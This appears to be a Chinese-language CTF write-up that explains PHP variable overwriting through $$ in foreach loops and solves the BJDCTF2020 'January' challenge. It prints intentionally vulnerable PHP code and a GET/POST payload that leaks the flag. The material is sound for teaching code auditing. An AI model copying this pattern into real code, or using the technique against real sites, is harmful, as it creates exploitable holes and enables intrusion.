簡介
原題復現:https://gitee.com/xiaohua1998/BJDCTF2020_January
考察知識點:$$導致的變量覆蓋問題
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
$$導致的變量覆蓋問題
$$ 導致的變量覆蓋問題在CTF代碼審計題目中經常在foreach中出現,如以下的示例代碼,
使用foreach來遍歷數組中的值,然后再將獲取到的數組鍵名作為變量,數組中的鍵值作為變量的值。
因此就產生了變量覆蓋漏洞。請求?name=test 會將$name的值覆蓋,變為test。
<?php $name='thinking'; foreach ($_GET as $key => $value) $$key = $value; //這里進行了覆蓋 $$key傳入的值是name 傳入進入成為$name 所以造成了name外部的變量被覆蓋 var_dump($key); var_dump($value); var_dump($$key); echo $name; //?name=test //output:string(4) “name” //string(4) “test” //string(4) “test” //test
引用:https://www.freebuf.com/column/150731.html
過程
掃描發現git
獲取git源碼
代碼審計!
<?php include'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_GET as $x => $y){ //get傳值 $$x = $$y; //漏洞在這里 比如輸入 yds=flag 相當於 $yds=$flag } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //判斷get傳進來的值等不等於flag 如果等於flag則跳過 exit($handsome); } } //檢測get是否為flag 或者post是否為flag 必須兩方都為假 否則輸出$yds //通過這里我們就可以結合前面的來構造 既然要輸出$yds所以我們想辦法讓$flag的值賦值給$yds //構造yds=flag GET傳輸 在經過第一個foreach的時候進行了賦值 等於進行了這樣的一個操作$yds=$flag //所以這個條件為真就可以輸出flag了。 if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } // //檢測POST flag是否為flag 或者get 是否為flag //至少有一個為真則為真 if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag; ?>
最終構造pyload:
GET:yds=flag
POST:flag=11111
得到flag.....